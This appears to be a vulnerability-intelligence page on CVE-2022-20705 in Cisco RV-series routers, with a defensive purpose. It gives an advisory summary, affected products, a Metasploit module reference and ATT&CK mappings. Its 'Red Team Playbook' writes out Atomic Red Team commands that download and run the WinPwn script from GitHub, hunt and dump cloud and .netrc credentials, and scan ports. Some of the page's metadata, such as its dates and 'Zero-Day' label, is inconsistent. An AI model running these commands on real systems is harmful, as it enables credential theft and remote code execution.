CVE-2022-20705

CRITICAL EXPLOIT TTE Zero-Day Pub 10/02 Upd 06/11

Overview

The vulnerabilities stem from multiple memory safety errors including stack-based buffer overflows and improper input validation within the firmware of Cisco Small Business RV160, RV260, RV340, and RV345 Series Routers. These flaws reside in the router's firmware components responsible for processing network and management protocol inputs, leading to unchecked memory operations and authentication bypass mechanisms. The affected components include the routing and management interface subsystems handling external commands and software update processes.

Vulnerability Description

Multiple vulnerabilities in Cisco Small Business RV160, RV260, RV340, and RV345 Series Routers could allow an attacker to do any of the following: Execute arbitrary code Elevate privileges Execute arbitrary commands Bypass authentication and authorization protections Fetch and run unsigned software Cause denial of service (DoS) For more information about these vulnerabilities, see the Details section of this advisory.

Impact

An unauthenticated attacker with network access can execute arbitrary code, escalate privileges, bypass authentication, and cause denial of service on affected Cisco RV Series routers. This enables full compromise of the device, including running unsigned software and arbitrary commands, potentially disrupting network operations and allowing lateral movement within the network. The CVSS vector (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) confirms no authentication or user interaction is required, with complete impact on confidentiality, integrity, and availability.

Solution

Cisco has released firmware updates addressing these vulnerabilities for the RV160, RV260, RV340, and RV345 Series Routers as detailed in their security advisory (cisco-sa-smb-mult-vuln-KA9PK6D). Administrators should apply the latest firmware versions provided by Cisco immediately. Additional technical details and patch instructions are available in the Cisco advisory and related ZDI advisories (ZDI-22-409, ZDI-22-410, ZDI-22-415). No specific workarounds are recommended beyond applying these official patches.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

Recent vulnerabilities in Cisco's Small Business RV series routers, including the RV160, RV260, RV340, and RV345 models, present significant security risks. These vulnerabilities allow attackers to execute arbitrary code, elevate privileges, and bypass authentication mechanisms, among other malicious activities. The underlying issues stem from improper input validation and insufficient security controls within the router firmware. This creates a pathway for attackers to exploit the devices, potentially leading to unauthorized access and control over the network infrastructure.

Attack vectors for these vulnerabilities are varied and can be exploited through both local and remote means. An attacker could leverage crafted packets or malicious scripts to exploit the firmware flaws, gaining the ability to execute arbitrary commands or run unsigned software. Furthermore, the ability to bypass authentication and authorization protections means that even users with limited access could escalate their privileges, leading to a complete compromise of the device. Denial of service attacks are also a concern, as they could disrupt network operations, causing significant downtime for businesses that rely on these routers for connectivity.

The real-world impact of these vulnerabilities can be profound, particularly for small to medium-sized enterprises that depend on these routers for their network infrastructure. A successful attack could result in unauthorized access to sensitive data, disruption of services, and potential financial losses due to downtime or data breaches. Additionally, the reputational damage from such incidents can have long-lasting effects, eroding customer trust and impacting business relationships. The high CVSS score associated with these vulnerabilities underscores the urgent need for organizations to address them proactively.

To detect and mitigate these vulnerabilities, organizations should implement a multi-faceted approach. Regularly updating router firmware is crucial, as vendors frequently release patches to address known vulnerabilities. Network monitoring tools can help identify unusual traffic patterns or unauthorized access attempts, providing an early warning system for potential exploitation. Additionally, employing strong access controls and segmenting networks can limit the impact of any successful attacks, reducing the attack surface available to malicious actors. Organizations should also conduct regular security assessments and penetration testing to identify and remediate vulnerabilities before they can be exploited.

In conclusion, the vulnerabilities present in Cisco's Small Business RV series routers pose a significant threat to network security. The potential for arbitrary code execution, privilege escalation, and denial of service attacks highlights the importance of maintaining robust security practices. By staying informed about vulnerabilities, implementing timely updates, and employing comprehensive detection and mitigation strategies, organizations can protect themselves from the risks associated with these critical network devices.

Affected Products (9)

Vendor Product Version CPE
cisco Cisco Rv340 Firmware All cpe:2.3:o:cisco:rv340_firmware:*:*:*:*:*:*:*:*
cisco Cisco Rv340w Firmware All cpe:2.3:o:cisco:rv340w_firmware:*:*:*:*:*:*:*:*
cisco Cisco Rv345 Firmware All cpe:2.3:o:cisco:rv345_firmware:*:*:*:*:*:*:*:*
cisco Cisco Rv345p Firmware All cpe:2.3:o:cisco:rv345p_firmware:*:*:*:*:*:*:*:*
cisco Cisco Rv160 Firmware All cpe:2.3:o:cisco:rv160_firmware:*:*:*:*:*:*:*:*
cisco Cisco Rv160w Firmware All cpe:2.3:o:cisco:rv160w_firmware:*:*:*:*:*:*:*:*
cisco Cisco Rv260 Firmware All cpe:2.3:o:cisco:rv260_firmware:*:*:*:*:*:*:*:*
cisco Cisco Rv260p Firmware All cpe:2.3:o:cisco:rv260p_firmware:*:*:*:*:*:*:*:*
cisco Cisco Rv260w Firmware All cpe:2.3:o:cisco:rv260w_firmware:*:*:*:*:*:*:*:*
Warning: The exploits and proof-of-concept (PoC) code listed below are sourced from third-party public repositories. CSURFACE assumes no responsibility for the content, accuracy, or safety of these resources. Use at your own risk. Learn more

Metasploit (1)

Module Authors Rank Platform Link
Cisco RV Series Authentication Bypass and Command Injection
exploits/linux/http/cisco_rv340_lan
Biem Pham, Neterum, jbaines-r7 Unknown - View
Exploited in Wild NOT DETECTED
Ransomware NOT ASSOCIATED
Attacker Interest VERY LOW
Sightings No sightings

Threat Feed

1 events
2021-11-02
Exploit Published (0 ExploitDB, 1 Metasploit)

Public exploit code is available for this vulnerability

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

Buffer Overflow
100% buffer_overflow
OS Command Injection
91% command_injection
Remote Code Execution
71% rce
Authentication Bypass
47% auth_bypass

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059 Command and Scripting Interpreter Kill Chain execution ESXi, IaaS, Identity Provider, Linux, macOS, Network Devices, Office Suite, Windows
T1542.001 System Firmware Kill Chain persistence, defense-evasion Windows, Network Devices
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1046 Network Service Discovery Kill Chain discovery Containers, IaaS, Linux, macOS, Network Devices, Windows
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns

No CAPEC pattern mapped to this CVE.

Red Team Playbook

33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1046 Network Service Discovery for Containers containers Shell
Attackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and...
Command (Shell)
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
T1046 Port Scan Linux, macOS Bash
Scan ports to check for listening ports. Upon successful execution, sh will perform a network connection against a single host (192.168.1.1) and determine what ports are open in the range of 1-65535. Results will be via stdout.
Command (Bash)
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
T1046 Port Scan NMap for Windows Windows PowerShell Privileged
Scan ports to check for listening ports for the local host 127.0.0.1
Command (PowerShell)
nmap #{host_to_scan}
T1046 Port Scan Nmap Linux, macOS Shell Privileged
Scan ports to check for listening ports with Nmap. Upon successful execution, sh will utilize nmap, telnet, and nc to contact a single or range of addresses on port 80 to determine if listening. Results will be via stdout.
Command (Shell)
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
T1046 Port Scan using nmap (Port range) Linux, macOS Shell Privileged
Scan multiple ports to check for listening ports with nmap
Command (Shell)
nmap -Pn -sV -p #{port_range} #{host}
T1046 Port Scan using python Windows PowerShell
Scan ports to check for listening ports with python
Command (PowerShell)
python "#{filename}" -i #{host_ip}
T1046 Port-Scanning /24 Subnet with PowerShell Windows PowerShell
Scanning common ports in a /24 subnet. If no IP address for the target subnet is specified the test tries to determine the attacking machine's "primary" IPv4 address first and then scans that address with a /24 netmask. The connection attempts to use a timeout parameter in...
Command (PowerShell)
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
    $ip_list = $ipAddr -split ","
    $ip_list = $ip_list.ForEach({ $_.Trim() })
    Write-Host "[i] IP Address List: $ip_list"

    $ports = #{port_list}

    foreach ($ip in $ip_list) {
        foreach ($port in $ports) {
            Write-Host "[i] Establishing connection to: $ip : $port"
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} elseif ($ipAddr -notlike "*,*") {
    if ($ipAddr -eq "") {
        # Assumes the "primary" interface is shown at the top
        $interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
        Write-Host "[i] Using Interface $interface"
        $ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
    }
    Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
    $subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
    # Always assumes /24 subnet
    Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"

    $ports = #{port_list}
    $subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }

    foreach ($ip in $subnetIPs) {
        foreach ($port in $ports) {
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} else {
    Write-Host "[Error] Invalid Inputs"
    exit 1
}
T1046 Remote Desktop Services Discovery via PowerShell Windows PowerShell Privileged
Availability of remote desktop services can be checked using get- cmdlet of PowerShell
Command (PowerShell)
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
T1046 WinPwn - MS17-10 Windows PowerShell
Search for MS17-10 vulnerable Windows Servers in the domain using powerSQL function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
T1046 WinPwn - bluekeep Windows PowerShell
Search for bluekeep vulnerable Windows Systems in the domain using bluekeep function of WinPwn. Can take many minutes to complete (~600 seconds in testing on a small domain).
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
T1046 WinPwn - fruit Windows PowerShell
Search for potentially vulnerable web apps (low hanging fruits) using fruit function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
T1046 WinPwn - spoolvulnscan Windows PowerShell
Start MS-RPRN RPC Service Scan using spoolvulnscan function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
T1059 AutoIt Script Execution Windows PowerShell
An adversary may attempt to execute suspicious or malicious script using AutoIt software instead of regular terminal like powershell or cmd. Calculator will popup when the script is executed successfully.
Command (PowerShell)
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
T1542.001 UEFI Persistence via Wpbbin.exe File Creation Windows PowerShell Privileged
Creates Wpbbin.exe in %systemroot%. This technique can be used for UEFI-based pre-OS boot persistence mechanisms. - https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c -...
Command (PowerShell)
echo "Creating %systemroot%\wpbbin.exe"      
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find and Access Github Credentials Linux, macOS Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash)
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive  
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (6)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2022-20705
tools.cisco.com
GitHub CVE vendor-advisory
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-smb-mult-vuln-KA9PK6D
zerodayinitiative.com
GitHub CVE
https://www.zerodayinitiative.com/advisories/ZDI-22-415/
zerodayinitiative.com
GitHub CVE
https://www.zerodayinitiative.com/advisories/ZDI-22-409/
zerodayinitiative.com
GitHub CVE
https://www.zerodayinitiative.com/advisories/ZDI-22-410/
packetstormsecurity.com
GitHub CVE
http://packetstormsecurity.com/files/170988/Cisco-RV-Series-Authentication-Bypass-Command-Injection.html